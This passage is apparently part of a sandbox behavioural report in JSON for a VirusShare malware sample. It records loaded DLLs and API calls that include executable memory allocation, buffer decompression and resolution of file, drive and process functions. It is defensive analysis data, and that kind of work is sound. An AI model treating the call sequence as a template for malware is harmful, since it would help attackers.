dll"},{"basename":"LPK.dll","imgsize":57344,"baseaddr":"0x7feff200000","filepath":"C:\\Windows\
\system32\\LPK.dll"},{"basename":"USP10.dll","imgsize":823296,"baseaddr":"0x7fefdba0000","fil
epath":"C:\\Windows\\system32\\USP10.dll"},{"basename":"SAMSRV.dll","imgsize":774144,"bas
eaddr":"0x7fefcbd0000","filepath":"C:\\Windows\\system32\\SAMSRV.dll"},{"basename":"cryptdll
.dll","imgsize":81920,"baseaddr":"0x7fefcb40000","filepath":"C:\\Windows\\system32\\cryptdll.dll"
},{"basename":"MSASN1.dll","imgsize":61440,"baseaddr":"0x7fefd0a0000","filepath":"C:\\Windo
ws\\system32\\MSASN1.dll"},{"basename":"wevtapi.dll","imgsize":446464,"baseaddr":"0x7fefcaa
0000","filepath":"C:\\Windows\\system32\\wevtapi.dll"},{"basename":"IMM32.DLL","imgsize":188
416,"baseaddr":"0x7feff080000","filepath":"C:\\Windows\\system32\\IMM32.DLL"},{"basename":"
MSCTF.dll","imgsize":1085440,"baseaddr":"0x7fefd450000","filepath":"C:\\Windows\\system32\\
MSCTF.dll"},{"basename":"cngaudit.dll","imgsize":36864,"baseaddr":"0x7fefca90000","filepath":"
C:\\Windows\\system32\\cngaudit.dll"},{"basename":"AUTHZ.dll","imgsize":192512,"baseaddr":"
0x7fefca60000","filepath":"C:\\Windows\\system32\\AUTHZ.dll"},{"basename":"ncrypt.dll","imgsiz
e":319488,"baseaddr":"0x7fefca10000","filepath":"C:\\Windows\\system32\\ncrypt.dll"},{"basena
me":"bcrypt.dll","imgsize":139264,"baseaddr":"0x7fefc9e0000","filepath":"C:\\Windows\\system3
2\\bcrypt.dll"},{"basename":"msprivs.DLL","imgsize":8192,"baseaddr":"0x74e30000","filepath":"C
:\\Windows\\system32\\msprivs.DLL"},{"basename":"netjoin.dll","imgsize":204800,"baseaddr":"0
x7fefc9a0000","filepath":"C:\\Windows\\system32\\netjoin.dll"},{"basename":"negoexts.DLL","img
size":147456,"baseaddr":"0x7fefc970000","filepath":"C:\\Windows\\system32\\negoexts.DLL"},{"
basename":"Secur32.dll","imgsize":45056,"baseaddr":"0x7fefcc90000","filepath":"C:\\Windows\\
system32\\Secur32.dll"},{"basename":"cryptbase.dll","imgsize":61440,"baseaddr":"0x7fefcef000
0","filepath":"C:\\Windows\\system32\\cryptbase.dll"},{"basename":"kerberos.DLL","imgsize":737
280,"baseaddr":"0x7fefc8b0000","filepath":"C:\\Windows\\system32\\kerberos.DLL"},{"basenam
e":"CRYPTSP.dll","imgsize":94208,"baseaddr":"0x7fefc890000","filepath":"C:\\Windows\\system
32\\CRYPTSP.dll"},{"basename":"WS2_32.dll","imgsize":315392,"baseaddr":"0x7fefed90000","fi
lepath":"C:\\Windows\\system32\\WS2_32.dll"},{"basename":"NSI.dll","imgsize":32768,"baseadd
r":"0x7feff370000","filepath":"C:\\Windows\\system32\\NSI.dll"},{"basename":"mswsock.dll","img
size":348160,"baseaddr":"0x7fefc830000","filepath":"C:\\Windows\\system32\\mswsock.dll"},{"ba

sename":"wship6.dll","imgsize":28672,"baseaddr":"0x7fefc820000","filepath":"C:\\Windows\\System32\\wship6.dll"},{"basename":"msv1_0.DLL","imgsize":331776,"baseaddr":"0x7fefc7c0000","filepath":"C:\\Windows\\system32\\msv1_0.DLL"},{"basename":"netlogon.DLL","imgsize":712704,"baseaddr":"0x7fefc710000","filepath":"C:\\Windows\\system32\\netlogon.DLL"},{"basename":"DNSAPI.dll","imgsize":372736,"baseaddr":"0x7fefc6b0000","filepath":"C:\\Windows\\system32\\DNSAPI.dll"},{"basename":"logoncli.dll","imgsize":196608,"baseaddr":"0x7fefc680000","filepath":"C:\\Windows\\system32\\logoncli.dll"},{"basename":"schannel.DLL","imgsize":356352,"baseaddr":"0x7fefc620000","filepath":"C:\\Windows\\system32\\schannel.DLL"},{"basename":"CRYPT32.dll","imgsize":1470464,"baseaddr":"0x7fefd2c0000","filepath":"C:\\Windows\\system32\\CRYPT32.dll"},{"basename":"wdigest.DLL","imgsize":221184,"baseaddr":"0x7fefc5e0000","filepath":"C:\\Windows\\system32\\wdigest.DLL"},{"basename":"rsaenh.dll","imgsize":290816,"baseaddr":"0x7fefc590000","filepath":"C:\\Windows\\system32\\rsaenh.dll"},{"basename":"tspkg.DLL","imgsize":98304,"baseaddr":"0x7fefc570000","filepath":"C:\\Windows\\system32\\tspkg.DLL"},{"basename":"pku2u.DLL","imgsize":282624,"baseaddr":"0x7fefc520000","filepath":"C:\\Windows\\system32\\pku2u.DLL"},{"basename":"bcryptprimitives.dll","imgsize":311296,"baseaddr":"0x7fefc4d0000","filepath":"C:\\Windows\\system32\\bcryptprimitives.dll"},{"basename":"RpcRtRemote.dll","imgsize":81920,"baseaddr":"0x7fefcfa0000","filepath":"C:\\Windows\\system32\\RpcRtRemote.dll"},{"basename":"efslsaext.dll","imgsize":73728,"baseaddr":"0x7fefc4b0000","filepath":"C:\\Windows\\system32\\efslsaext.dll"},{"basename":"scecli.DLL","imgsize":253952,"baseaddr":"0x7fefc450000","filepath":"C:\\Windows\\system32\\scecli.DLL"},{"basename":"credssp.dll","imgsize":40960,"baseaddr":"0x7fefc490000","filepath":"C:\\Windows\\system32\\credssp.dll"},{"basename":"WINSTA.dll","imgsize":249856,"baseaddr":"0x7fefcfc0000","filepath":"C:\\Windows\\system32\\WINSTA.dll"},{"basename":"wshtcpip.dll","imgsize":28672,"baseaddr":"0x7fefc230000","filepath":"C:\\Windows\\System32\\wshtcpip.dll"},{"basename":"IPHLPAPI.DLL","imgsize":159744,"baseaddr":"0x7fefa7d0000","filepath":"C:\\Windows\\system32\\IPHLPAPI.DLL"},{"basename":"WINNSI.DLL","imgsize":45056,"baseaddr":"0x7fefa7c0000","filepath":"C:\\Windows\\system32\\WINNSI.DLL"},{"basename":"netutils.dll","imgsize":49152,"baseaddr":"0x7fefac00000","filepath":"C:\\Windows\\system32\\netutils.dll"},{"basename":"USERENV.dll","imgsize":122880,"baseaddr":"0x7fefc340000","filepath":"C:\\Windows\\system32\\USERENV.dll"},{"basename":"profapi.dll","imgsize":61440,"baseaddr":"0x7fefd000000","filepath":"C:\\Windows\\system32\\profapi.dll"},{"basename":"monitor-x64.dll","imgsize":2269184,"baseaddr":"0x74a90000","filepath":"C:\\tmppizz3e\\bin\\monitor-x64.dll"}],"time":0,"tid":2172,"first_seen":1700322037.0625,"ppid":396,"type":"process"},{"process_path":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\VirusShare_00a0f5fe1ba0102ed789b2aa85c3e316.exe","calls":[{"category":"ole","status":1,"stacktrace":[],"api":"CoInitializeEx","return_value":0,"arguments":{"options":2},"time":1700322037.609,"tid":2280,"flags":{}},{"category":"registry","status":0,"stacktrace":[],"last_error":1400,"nt_status":-1073741515,"api":"RegOpenKeyExA","return_value":6,"arguments":{"access":"0x02000000","base_handle":"0x80000004","key_handle":"0xff0512aa","regkey":"HKEY_PERFORMANCE_DATA\\(Default)","regkey_r":"","options":0},"time":1700322037.844,"tid":2280,"flags":{}},{"category":"process","status":1,"stacktrace":[],"api":"NtProtectVirtualMemory","return_value":0,"arguments":{"process_identifier":2276,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"length":8192,"protection":64,"process_handle":"0xffffffff","base_address":"0x00903000"},"time":1700322038.094,"tid":2280,"flags":{"protection":"PAGE_EXECUTE_READWRITE"}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac1856","function_name":"VirtualAlloc"},"time":1700322041.094,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac186e","function_name":"VirtualFree"},"time":1700322041.094,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"

```
module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac4347","function
_name":"VirtualProtect"},"time":1700322041.094,"tid":2280,"flags":{}},{"category":"system","statu
s":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"m
odule":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac1826","function_
name":"UnmapViewOfFile"},"time":1700322041.094,"tid":2280,"flags":{}},{"category":"system","s
tatus":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":
0,"module":"ntdll","module_address":"0x77430000","function_address":"0x774efe75","function_
name":"RtlCompressBuffer"},"time":1700322041.094,"tid":2280,"flags":{}},{"category":"system","
status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal"
:0,"module":"ntdll","module_address":"0x77430000","function_address":"0x774efeed","function_
name":"RtlDecompressBuffer"},"time":1700322041.094,"tid":2280,"flags":{}},{"category":"system
","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordin
al":0,"module":"ntdll","module_address":"0x77430000","function_address":"0x77482890","functi
on_name":"RtlZeroMemory"},"time":1700322041.094,"tid":2280,"flags":{}},{"category":"system","
status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal"
:0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac357f","funct
ion_name":"FlsFree"},"time":1700322041.094,"tid":2280,"flags":{}},{"category":"system","status":
1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"mod
ule":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac3380","function_na
me":"GetEnvironmentVariableA"},"time":1700322041.094,"tid":2280,"flags":{}},{"category":"proce
ss","status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"pro
cess_identifier":2276,"region_size":4096,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_b
ypass":0,"protection":64,"process_handle":"0xffffffff","allocation_type":12288,"base_address":"0
x00320000"},"time":1700322041.094,"tid":2280,"flags":{"protection":"PAGE_EXECUTE_READ
WRITE","allocation_type":"MEM_COMMIT|MEM_RESERVE"}},{"category":"process","status":1,
"stacktrace":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"process_identifier
":2276,"region_size":77824,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"prot
ection":4,"process_handle":"0xffffffff","allocation_type":12288,"base_address":"0x00350000"},"ti
me":1700322041.094,"tid":2280,"flags":{"protection":"PAGE_READWRITE","allocation_type":"M
EM_COMMIT|MEM_RESERVE"}},{"category":"process","status":1,"stacktrace":[],"api":"NtAlloca
teVirtualMemory","return_value":0,"arguments":{"process_identifier":2276,"region_size":77824,"
stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":4,"process_handle":"
0xffffffff","allocation_type":12288,"base_address":"0x00370000"},"time":1700322041.094,"tid":2
280,"flags":{"protection":"PAGE_READWRITE","allocation_type":"MEM_COMMIT|MEM_RESE
RVE"}},{"category":"process","status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_v
alue":0,"arguments":{"process_identifier":2276,"region_size":77824,"stack_dep_bypass":0,"stac
k_pivoted":0,"heap_dep_bypass":0,"protection":4,"process_handle":"0xffffffff","allocation_type":1
2288,"base_address":"0x00390000"},"time":1700322041.094,"tid":2280,"flags":{"protection":"PA
GE_READWRITE","allocation_type":"MEM_COMMIT|MEM_RESERVE"}},{"category":"process",
"status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"process
_identifier":2276,"region_size":303104,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_byp
ass":0,"protection":4,"process_handle":"0xffffffff","allocation_type":12288,"base_address":"0x00
8a0000"},"time":1700322041.094,"tid":2280,"flags":{"protection":"PAGE_READWRITE","allocati
on_type":"MEM_COMMIT|MEM_RESERVE"}},{"category":"process","status":1,"stacktrace":[],"a
pi":"NtFreeVirtualMemory","return_value":0,"arguments":{"free_type":32768,"process_identifier":
2276,"process_handle":"0xffffffff","base_address":"0x008a0000","size":303104},"time":1700322
041.094,"tid":2280,"flags":{}},{"category":"process","status":1,"stacktrace":[],"api":"NtFreeVirtual
Memory","return_value":0,"arguments":{"free_type":32768,"process_identifier":2276,"process_h
andle":"0xffffffff","base_address":"0x00390000","size":77824},"time":1700322041.094,"tid":2280,
"flags":{}},{"category":"process","status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return
```

_value":0,"arguments":{"process_identifier":2276,"region_size":114688,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":4,"process_handle":"0xffffffff","allocation_type":12288,"base_address":"0x00390000"},"time":1700322041.094,"tid":2280,"flags":{"protection":"PAGE_READWRITE","allocation_type":"MEM_COMMIT|MEM_RESERVE"}},{"category":"system","status":1,"stacktrace":[],"buffer":"da2b9ba34c4099cc88890f06d48791eda50073bb","api":"RtlDecompressBuffer","return_value":0,"arguments":{"output_size":113152,"format":2,"uncompressed":"","input_size":74843},"time":1700322041.094,"tid":2280,"flags":{}},{"category":"process","status":1,"stacktrace":[],"api":"NtFreeVirtualMemory","return_value":0,"arguments":{"free_type":32768,"process_identifier":2276,"process_handle":"0xffffffff","base_address":"0x00370000","size":77824},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"process","status":1,"stacktrace":[],"api":"NtFreeVirtualMemory","return_value":0,"arguments":{"free_type":32768,"process_identifier":2276,"process_handle":"0xffffffff","base_address":"0x00350000","size":77824},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"process","status":1,"stacktrace":[],"api":"NtProtectVirtualMemory","return_value":0,"arguments":{"process_identifier":2276,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"length":241664,"protection":64,"process_handle":"0xffffffff","base_address":"0x008f0000"},"time":1700322041.109,"tid":2280,"flags":{"protection":"PAGE_EXECUTE_READWRITE"}},{"category":"process","status":1,"stacktrace":[],"api":"NtFreeVirtualMemory","return_value":0,"arguments":{"free_type":32768,"process_identifier":2276,"process_handle":"0xffffffff","base_address":"0x00390000","size":114688},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrLoadDll","return_value":0,"arguments":{"basename":"KERNEL32","module_address":"0x75ab0000","flags":0,"module_name":"KERNEL32.dll","stack_pivoted":0},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x77464625","function_name":"DeleteCriticalSection"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x774522c0","function_name":"EnterCriticalSection"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x77452280","function_name":"LeaveCriticalSection"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac17ec","function_name":"GetCurrentThread"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac54d6","function_name":"FindNextFileW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75add4f7","function_name":"GetDiskFreeSpaceExW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75adc848","function_name":"GetVolumeInformationW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac5359","function_name":"GetLogicalDrives"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac4173","function_name":"GetDriveTypeW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedure

Address","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x7
5ab0000","function_address":"0x77462c8a","function_name":"InitializeCriticalSection"},"time":17
00322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetPr
ocedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_addres
s":"0x75ab0000","function_address":"0x75ac4913","function_name":"LoadLibraryW"},"time":170
0322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetPro
cedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address
":"0x75ab0000","function_address":"0x75aed1b3","function_name":"RtlUnwind"},"time":1700322
041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedu
reAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x
75ab0000","function_address":"0x75ac5a7e","function_name":"GetSystemTime"},"time":170032
2041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProced
ureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0
x75ab0000","function_address":"0x75aed1a6","function_name":"GetTempFileNameW"},"time":1
700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGet
ProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_addr
ess":"0x75ab0000","function_address":"0x75ac103d","function_name":"CreateProcessW"},"time
":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrG
etProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_ad
dress":"0x75ab0000","function_address":"0x75ac1809","function_name":"GetCurrentProcess"},"
time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"
LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","modul
e_address":"0x75ab0000","function_address":"0x75b4b78d","function_name":"GetVolumeName
ForVolumeMountPointA"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","stat
us":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"
module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ae2af2","function
_name":"GetWindowsDirectoryA"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"syst
em","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"or
dinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75add5cd"
,"function_name":"GetLocaleInfoA"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"sy
stem","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"
ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac434
7","function_name":"VirtualProtect"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"sy
stem","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"
ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac442
a","function_name":"FindClose"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"syste
m","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordi
nal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac441d","f
unction_name":"FindFirstFileW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"syste
m","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordi
nal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac192e","f
unction_name":"MultiByteToWideChar"},"time":1700322041.109,"tid":2280,"flags":{}},{"category"
:"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments
":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac1
70d","function_name":"WideCharToMultiByte"},"time":1700322041.109,"tid":2280,"flags":{}},{"cat
egory":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arg
uments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"
0x75ac1222","function_name":"GetProcAddress"},"time":1700322041.109,"tid":2280,"flags":{}},{
"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"
arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address

":"0x75ac1245","function_name":"GetModuleHandleA"},"time":1700322041.109,"tid":2280,"flags
":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_valu
e":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_ad
dress":"0x75ac1136","function_name":"WaitForSingleObject"},"time":1700322041.109,"tid":2280
,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return
_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","functi
on_address":"0x75ac34b5","function_name":"CreateThread"},"time":1700322041.109,"tid":2280
,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return
_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","functi
on_address":"0x75ae82f5","function_name":"CopyFileW"},"time":1700322041.109,"tid":2280,"fla
gs":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_va
lue":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_
address":"0x75add4c4","function_name":"GetTempPathW"},"time":1700322041.109,"tid":2280,"f
lags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_
value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","functio
n_address":"0x75ac10ff","function_name":"Sleep"},"time":1700322041.109,"tid":2280,"flags":{}},
{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,
"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_addres
s":"0x75ac4493","function_name":"GetUserDefaultUILanguage"},"time":1700322041.109,"tid":2
280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","re
turn_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","fu
nction_address":"0x75add5e5","function_name":"GetUserDefaultLangID"},"time":1700322041.1
09,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAd
dress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab
0000","function_address":"0x75aed336","function_name":"GetSystemDefaultLangID"},"time":17
00322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetPr
ocedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_addres
s":"0x75ab0000","function_address":"0x75ac87b1","function_name":"SetUnhandledExceptionFil
ter"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"
api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","
module_address":"0x75ab0000","function_address":"0x75ac1b00","function_name":"SetErrorM
ode"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],
"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","
module_address":"0x75ab0000","function_address":"0x75ac1b60","function_name":"MulDiv"},"ti
me":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"L
drGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module
_address":"0x75ab0000","function_address":"0x75ac34f9","function_name":"GetVersionExA"},"t
ime":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"L
drGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module
_address":"0x75ab0000","function_address":"0x75ac79f8","function_name":"ExitProcess"},"time
":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrG
etProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_ad
dress":"0x75ab0000","function_address":"0x75ac4938","function_name":"GetModuleFileName
W"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"
api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","
module_address":"0x75ab0000","function_address":"0x75ac4683","function_name":"FlushFileB
uffers"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":
[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32
","module_address":"0x75ab0000","function_address":"0x75ac11c0","function_name":"GetLast
Error"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[

```
],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32"
,"module_address":"0x75ab0000","function_address":"0x75adeca3","function_name":"SetFileTi
me"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"
api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","
module_address":"0x75ab0000","function_address":"0x75ac34e9","function_name":"GetSystem
TimeAsFileTime"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"s
tacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module"
:"kernel32","module_address":"0x75ab0000","function_address":"0x75ac17d1","function_name"
:"SetFilePointer"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"st
acktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":
"kernel32","module_address":"0x75ab0000","function_address":"0x75ac3eb3","function_name":
"ReadFile"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktr
ace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"ker
nel32","module_address":"0x75ab0000","function_address":"0x75add4df","function_name":"Set
FileAttributesW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"st
acktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":
"kernel32","module_address":"0x75ab0000","function_address":"0x75ac455c","function_name":
"GetFileAttributesExW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","statu
s":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"m
odule":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac899b","function_
name":"DeleteFileW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":
1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"mod
ule":"kernel32","module_address":"0x75ab0000","function_address":"0x75ad9b15","function_na
me":"MoveFileExW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":
1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"mod
ule":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac1282","function_na
me":"WriteFile"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"sta
cktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"
kernel32","module_address":"0x75ab0000","function_address":"0x75ac59ca","function_name":"
GetFileSizeEx"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"sta
cktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"
kernel32","module_address":"0x75ab0000","function_address":"0x75ac3f3c","function_name":"
CreateFileW"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stac
ktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"k
ernel32","module_address":"0x75ab0000","function_address":"0x75ac1410","function_name":"C
loseHandle"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stackt
race":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"ker
nel32","module_address":"0x75ab0000","function_address":"0x75ac186e","function_name":"Virt
ualFree"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrac
e":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel
32","module_address":"0x75ab0000","function_address":"0x75ac1856","function_name":"Virtual
Alloc"},"time":1700322041.109,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[
